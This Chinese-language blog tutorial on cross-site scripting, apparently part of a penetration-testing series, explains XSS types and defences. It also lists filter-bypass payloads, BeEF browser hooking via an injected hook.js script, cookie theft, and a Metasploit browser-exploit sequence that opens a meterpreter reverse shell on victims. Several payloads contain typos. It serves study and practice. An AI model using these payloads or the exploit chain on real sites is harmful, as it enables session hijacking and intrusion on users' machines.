Web渗透06_XSS
XSS漏洞描述
XSS是非常厉害的漏洞,在OWASP TOP10中榜上有名。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。但我认为这个中文名字不是太好,XSS说白了就是利用JS脚本的强大能力,攻击者通过一些手段,比如说评论功能,留言功能,等等,把一段JS代码插入到受害网站中,如果受害者网站对用户输入的信息过滤不足,任何人在浏览时都会遭受到这段JS代码的威胁。甚至是本来就是恶意的一些网站,没有任何人攻击写入恶意代码,而是网站制作者本身的恶意写入去攻击网站浏览者。所以 引入恶意脚本的站点攻击 这个名字更适合他。
危害: 盗取受害者cookie信息,电脑截屏,获取用户电脑的shell(打开cmd的权限),盗取账号,劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫, js功能的强大超乎我们的想像。
XSS漏洞验证
利用一段简洁的代码,去测试网站有没有XSS的漏洞。这样的代码叫做 POC(Proof of Concept) proof 英[pruːf] n:证据; 证明; 检验;
网站一般会对<标签>
, '
, "
, \
进行过滤
<script>alert('xss')</script> // 标签验证是否存在标签的过滤,如果出现弹窗则证明存在漏洞
<script>confirm('xss')</script> // 标签验证是否存在标签的过滤,如果出现弹窗则证明存在漏洞
<script>promot('xss')</script> // 标签验证是否存在标签的过滤,如果出现弹窗则证明存在漏洞
在有关页面输入此类代码进行提交,对结果页面进行检查,通常脚本是不会显示到页面上的,如果提交评论其他文字会有显示,而js代码却没有显示,则很可能攻击成功,我们可以查看网页源代码进行查找是否成为了网页的js脚本。
如果这一小段代码引入成功,那么其他更加恐怖的代码也可以成功了。
练习平台
pikachu
xsschallenge
分类
从攻击代码的工作方式可以分为三个类型:
(1)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。
(2)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
(3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。
基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。
非持久性 反射性跨站
利用一些表单的变量,进行攻击。
www.abc.com/index.php?submit=submit&a=<script>alert('xss')</script>
其中submit是提交的结果显示,而a这个变量是用户提交的东西(评论,搜索内容等等),而这个链接会显示用户提交后的网页,这样,只要访问就会出现弹窗。所以不要乱点不明链接。点击即可触发反射形XSS攻击。
持久性 存储型
把恶意代码放到网站数据库中,网站是会存储用户的信息的,比如说评论信息,文章信息。你的一些发布的东西都会被永久的存储到数据库中,如果你提交的东西里包含可执行的恶意代码,别的用户在通过动态网站的访问时,网站从数据库里取出你放的评论(内有恶意代码),显示给其他人,恶意JS代码也就会执行。
DOM型
纯网站自己编写的JS存在漏洞,导致其他人根据这些漏洞,把恶意代码写入页面。
DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。其防御在于:
(1) 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;
(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到则进行JS编码。
XSS的构造
伪协议
javascript:
伪协议的方式构造 XSS。
<a href="javasript:alert('xss')">clickMe</a>
<img src="javasript:alert('xss')" />
事件驱动
利用JS 对网页中的各种操作事件的响应,去触发JS代码进行 XSS。
- Windows事件
- Form事件 填写的触发
- KeyBoard事件 键盘
- Mouse事件 鼠标点击
- Media事件 多媒体触发
<img src="images/defualt.jpg" onmouseover="alert('xss')" />
<input type='text' onkeydown="alert('xss')" />
利用CSS进行 XSS
style="backgroud-image:url(javasript:alert('xss'))"
XSS的变形绕过
利用XSS的各种形式,达到对于过滤器,过滤函数的绕过。
大小写转换
<Img sRc='#' Onerror="alert" />
<a hRef="javasript:alert('xss')"> clickMe </A>
引号利用
HTML对引号没啥感觉,以下三者都可以用。
img src="#" onerror="alter('xss')"
img src="#" onerror='alter('xss')'
img src="#" onerror=alter('xss')
[/]代替空格
<Img/sRc='#'/Onerror="alert">
TAB 换行符绕过
<a hRef="j
av
asri
pt:alert('xss')"> clickMe </A>
转码绕过
字符 | 编码 | 十进制编码 | 十六进制编码 |
---|---|---|---|
a | 97 | a |
a |
e | 101 | e |
e |
Tab | 	 |
可以插入任意位置 | |
换行 | |
可以插入任意位置 | |
回车 | |
可以插入任意位置 | |
SOH |  |
可以插入头部位置 | |
STX |  |
可以插入头部位置 |
<a hRef="
ja
vas
ript:alert('xss')"> clickMe `
双写绕过
这个有点问题。
<script><scr<script>ipt>
XSS防御👀
永远不要相信用户的输入。
Beef
Kali的一款工具。利用特定的JS代码,使得遭受这段代码攻击的人,在 beef服务器上上线,类似灰鸽子,可以浏览器劫持,获取受害主机的cookie,shell命令行权限等等。
安装完成后要修改配置文件,因为安全考虑,要修改在配置文件中的 默认账户名和密码。
- 启动命令:beef-xss
- webUI界面管理控制台:http://127.0.0.1:3000/ui/panel
- shellcode: http://127.0.0.1:3000/hook.js 外部注入代码
<script src="http://127.0.0.1:3000/hook.js"></script>
- 测试页面:http://127.0.0.1:3000/demos/butcher/index.html 任何人点击这个页面都会上线
Cookie窃取
通过窃取受害者cookie,如果网站以cookie信息验证用户身份,则攻击者可以在自己的电脑中写入获取的cookie信息,直接登录后台而不会受阻。
document.cookie="username=admin";
document.cookie="password=123456";
利用浏览器漏洞获取shell
利用msf,msf是kali自带的一个工具,利用它生成一个可以利用浏览器漏洞获取shell的页面,让beef受害者重定向(**Redirect Browser*)到这个页面,即可查看用户本地进程,打开受害者的shell,但是一旦受害者断开页面或浏览器,这样的连接就会断开,所以要及时切换攻击进程的位置。
msfconsole # 启动工具
use exploit/windows/browser/ms10_002_aurora # 利用模块
set payload windows/meterpreter/reverse_tcp
set SRVHOST 123.123.123.123 #目标地址
show options # 展示操作结果
set LHOST 11.11.11.11 #本机地址
show options # 展示操作结果
exploit # 攻击页面生成 URL
# 利用重定向使用户访问页面
sessions -i #查看受害者连接
sessions -i 1 #进入到受害者会话
ps #查看受害者主机进程列表 任务管理器
getuid # 获取攻击进程的序号
migrate 1532 # 切换进程来维持长久连接
XSSpt.com
一个XSS漏洞利用平台。创建自己的项目,配置相关的攻击模块,自动会生成JS代码,在由XSS漏洞的平台里,用外部JS引入攻击代码,即可获取受害者信息,以及其他的一些操纵。
攻击方法扩充
windows.location.hash
windows.location.hash会取得浏览器的url中 #
以及后面的字符串。
url_http://abc.com/index.php?a=5#abcdef
location.hash=#abcdef
攻击实例:http://abc.com/index.php?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/你好世界/)
substr(index)会截取第几个字符后面的字符,从1开始。
备选存储技术
把XSS代码写到cookie中,用户登录或者是其他一些用到cookie信息的时候,一些网页会提取cookie信息,并展示给用户看,这个时候XSS就执行了。
Ajax
利用Ajax去请求远端的JS代码,执行攻击。
最后就是多练习🤦♀️🤦♂️🤷♂️🤷♀️
网上有很多XSS练习平台,有的是在线网页的可以去人家的网站,还有可以下载下来放到自己机器上的练习网站。
多练。😒
如果我的工作对您有帮助,您想回馈一些东西,你可以考虑通过分享这篇文章来支持我。我非常感谢您的支持,真的。谢谢!
作者:Dba_sys (Jarmony)
转载以及引用请注明原文链接:https://www.cnblogs.com/asmurmur/p/15114854.html
本博客所有文章除特别声明外,均采用CC 署名-非商业使用-相同方式共享 许可协议。